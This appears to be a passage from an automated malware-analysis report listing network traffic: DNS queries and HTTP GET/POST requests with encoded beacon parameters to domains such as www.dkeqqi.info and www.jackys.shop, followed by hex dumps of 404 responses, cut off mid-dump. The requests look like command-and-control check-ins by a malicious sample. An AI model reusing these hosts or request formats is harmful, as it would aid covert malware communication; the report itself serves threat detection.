Source: global traffic	HTTP traffic detected: GET /5ann/?Nl=4PTBgoI4Nk+6taqoVFprwB5aZoYGl9E6V/JZkPplqb8lwhYldWpADaEwQ8nNR5l8WRgTp7EOccAoFUesNBdOz+lLVvdTdlsMG1W1gc4df7uivOnQOybridBNZQsYkHcP7w==&mHttQ=0N2LBROh-F HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.jackys.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.2; D6616 Build/23.1.C.0.385) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /rks3/?Nl=N6M995Orsid3pB26180eAnpAEvm/2qnuV89lwLb32fuWKk7JFM+tdeUXnBmOTgnaI+4AwNPnaGa9vLA9D5aQErIYwmtvPb/aR2OT03nh5dNX3XD57UcHIUZW32w+LzNz7g==&mHttQ=0N2LBROh-F HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.dkeqqi.infoConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.2; D6616 Build/23.1.C.0.385) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /tubo/?mHttQ=0N2LBROh-F&Nl=OkSlmVrxLDfT2X9rx8wbiJMZQIMCMOfzpX9YxeBYK1jilmQpea6mLrJJ/QaGwJsgIsWiewlWl8P0IGD0SqVUzmUXc2swcSKcRN4L8tqq7Yl1qTVElrJvReIWTzpGYlz8og== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.serenepath.lifeConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.2; D6616 Build/23.1.C.0.385) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /9pz6/?Nl=/pTPnllmxsWX6ApJIzAt41xOg/EHi2fsk6Lw8HTy75EEuanVhpcSs4PFfxAF5z77wIbwFr1jAUPlW96P2OGsoydbwDVGvMCk0ij0X+dk82f+rMdhKgDDZyIkSmhVnOc5Gg==&mHttQ=0N2LBROh-F HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.chiro.liveConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.2; D6616 Build/23.1.C.0.385) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /r7y4/?Nl=207Em3qmMG8XxNg7uI/8NwU97sJhk8AXa3bUsu1wH/MvrPJS7Jm86DxfHb9ZfS6rlK5B1hkXbHKd9Om6mRyjFq1nAP9VumhzGY48sh2sbfWf2sV1JImTo5i0wRribzMt8Q==&mHttQ=0N2LBROh-F HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.celestial-guides.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.2; D6616 Build/23.1.C.0.385) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /i4k3/?Nl=fejTbKPHkJIn7H3yMBMCji2paJGOYSbu1m0yekiKpAorbUbP1Jrf/5ta8QXBvolt5DQGGZ5JloOyDdLUYPAJ4V7U0fIp6X3bX3sSTq0brbS65VllHYHSIyfbzIYnXK6qhg==&mHttQ=0N2LBROh-F HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.rtp189z.latConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.2; D6616 Build/23.1.C.0.385) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.atc-secure.com
Source: global traffic	DNS traffic detected: DNS query: www.jackys.shop
Source: global traffic	DNS traffic detected: DNS query: www.dkeqqi.info
Source: global traffic	DNS traffic detected: DNS query: www.serenepath.life
Source: global traffic	DNS traffic detected: DNS query: www.chiro.live
Source: global traffic	DNS traffic detected: DNS query: www.celestial-guides.shop
Source: global traffic	DNS traffic detected: DNS query: www.rtp189z.lat
Source: global traffic	DNS traffic detected: DNS query: www.yacolca.digital

Source: unknown

HTTP traffic detected: POST /rks3/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-usAccept-Encoding: gzip, deflate, brHost: www.dkeqqi.infoOrigin: http://www.dkeqqi.infoCache-Control: no-cacheContent-Length: 203Connection: closeContent-Type: application/x-www-form-urlencodedReferer: http://www.dkeqqi.info/rks3/User-Agent: Mozilla/5.0 (Linux; Android 5.0.2; D6616 Build/23.1.C.0.385) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36Data Raw: 4e 6c 3d 41 34 6b 64 2b 4d 69 37 74 42 77 34 6a 41 43 4e 79 39 49 74 45 69 34 6a 52 6f 6e 72 2b 6f 43 79 65 4b 63 67 79 70 6a 79 30 66 2f 4a 48 54 66 30 41 38 71 70 57 4b 63 6e 36 58 62 52 47 69 44 2b 65 49 77 5a 32 2f 4c 6f 62 56 72 41 6f 63 63 49 46 71 43 56 42 70 41 44 2f 52 46 35 48 63 62 33 48 32 6a 30 34 55 54 6b 2b 74 64 56 79 6e 7a 46 2b 7a 6f 6f 4e 32 56 56 34 6c 74 41 45 41 4a 37 73 64 6b 4f 65 64 56 67 78 76 5a 61 32 4f 31 52 58 66 6c 43 52 6e 75 38 74 2f 56 32 76 2f 68 4b 76 5a 4e 39 43 73 66 30 6d 66 74 39 41 52 7a 43 51 46 65 46 71 4c 46 4e 5a 6d 46 4f 78 4f 2f 7a 36 52 4a 45 73 4f 34 3d Data Ascii: Nl=A4kd+Mi7tBw4jACNy9ItEi4jRonr+oCyeKcgypjy0f/JHTf0A8qpWKcn6XbRGiD+eIwZ2/LobVrAoccIFqCVBpAD/RF5Hcb3H2j04UTk+tdVynzF+zooN2VV4ltAEAJ7sdkOedVgxvZa2O1RXflCRnu8t/V2v/hKvZN9Csf0mft9ARzCQFeFqLFNZmFOxO/z6RJEsO4=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 21 Jan 2025 15:46:50 GMTServer: ApacheContent-Length: 32106Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 42 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 21 Jan 2025 15:46:52 GMTServer: ApacheContent-Length: 32106Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 42 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 21 Jan 2025 15:46:55 GMTServer: ApacheContent-Length: 32106Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 42 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 21 Jan 2025 15:46:57 GMTServer: ApacheContent-Length: 32106Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Jan 2025 15:47:16 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 66 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f 41 4f c3 30 0c 85 ef fd 15 66 27 38 2c 2e 55 91 38 44 91 60 ed c4 a4 32 2a 48 0f 1c b3 c5 5b 2a 95 a6 24 29 15 ff 9e b4 13 d2 2e 96 9e fd 3d fb 99 df 14 6f 1b f9 59 97 f0 22 5f 2b a8 9b e7 6a b7 81 d5 1a 71 57 ca 2d 62 21 8b cb 24 63 29 62 b9 5f 89 84 9b f0 d5 09 6e 48 e9 28 42 1b 3a 12 79 9a c3 de 06 d8 da b1 d7 1c 2f cd 84 e3 02 f1 83 d5 bf b3 ef 5e 5c 31 51 25 7c 10 d2 10 38 fa 1e c9 07 d2 d0 bc 57 30 29 0f 7d e4 4e 33 07 b6 87 60 5a 0f 9e dc 0f 39 c6 71 98 37 b9 58 94 d6 8e bc 17 4f 83 3a 1a c2 8c e5 ec 21 83 db e6 30 f6 61 bc 83 8f c5 00 2a c0 34 4d ec 48 5d bc d0 aa 6e 7d 1e 5b 4d 9e 79 63 07 a8 ad 0b f0 98 72 fc df 15 23 2f 61 63 bc f9 c9 e4 0f 44 5e 7d e7 1f 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f0MAO0f'8,.U8D`2H[$).=oY"_+jqW-b!$c)b_nH(B:y/^\1Q%\|8W0)}N3`Z9q7XO:!0a*4MH]n}[Mycr#/acD^}0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Jan 2025 15:47:19 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 66 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f 41 4f c3 30 0c 85 ef fd 15 66 27 38 2c 2e 55 91 38 44 91 60 ed c4 a4 32 2a 48 0f 1c b3 c5 5b 2a 95 a6 24 29 15 ff 9e b4 13 d2 2e 96 9e fd 3d fb 99 df 14 6f 1b f9 59 97 f0 22 5f 2b a8 9b e7 6a b7 81 d5 1a 71 57 ca 2d 62 21 8b cb 24 63 29 62 b9 5f 89 84 9b f0 d5 09 6e 48 e9 28 42 1b 3a 12 79 9a c3 de 06 d8 da b1 d7 1c 2f cd 84 e3 02 f1 83 d5 bf b3 ef 5e 5c 31 51 25 7c 10 d2 10 38 fa 1e c9 07 d2 d0 bc 57 30 29 0f 7d e4 4e 33 07 b6 87 60 5a 0f 9e dc 0f 39 c6 71 98 37 b9 58 94 d6 8e bc 17 4f 83 3a 1a c2 8c e5 ec 21 83 db e6 30 f6 61 bc 83 8f c5 00 2a c0 34 4d ec 48 5d bc d0 aa 6e 7d 1e 5b 4d 9e 79 63 07 a8 ad 0b f0 98 72 fc df 15 23 2f 61 63 bc f9 c9 e4 0f 44 5e 7d e7 1f 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f0MAO0f'8,.U8D`2H[$).=oY"_+jqW-b!$c)b_nH(B:y/^\1Q%\|8W0)}N3`Z9q7XO:!0a*4MH]n}[Mycr#/acD^}0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Jan 2025 15:47:22 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 66 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f 41 4f c3 30 0c 85 ef fd 15 66 27 38 2c 2e 55 91 38 44 91 60 ed c4 a4 32 2a 48 0f 1c b3 c5 5b 2a 95 a6 24 29 15 ff 9e b4 13 d2 2e 96 9e fd 3d fb 99 df 14 6f 1b f9 59 97 f0 22 5f 2b a8 9b e7 6a b7 81 d5 1a 71 57 ca 2d 62 21 8b cb 24 63 29 62 b9 5f 89 84 9b f0 d5 09 6e 48 e9 28 42 1b 3a 12 79 9a c3 de 06 d8 da b1 d7 1c 2f cd 84 e3 02 f1 83 d5 bf b3 ef 5e 5c 31 51 25 7c 10 d2 10 38 fa 1e c9 07 d2 d0 bc 57 30 29 0f 7d e4 4e 33 07 b6 87 60 5a 0f 9e dc 0f 39 c6 71 98 37 b9 58 94 d6 8e bc 17 4f 83 3a 1a c2 8c e5 ec 21 83 db e6 30 f6 61 bc 83 8f c5 00 2a c0 34 4d ec 48 5d bc d0 aa 6e 7d 1e 5b 4d 9e 79 63 07 a8 ad 0b f0 98 72 fc df 15 23 2f 61 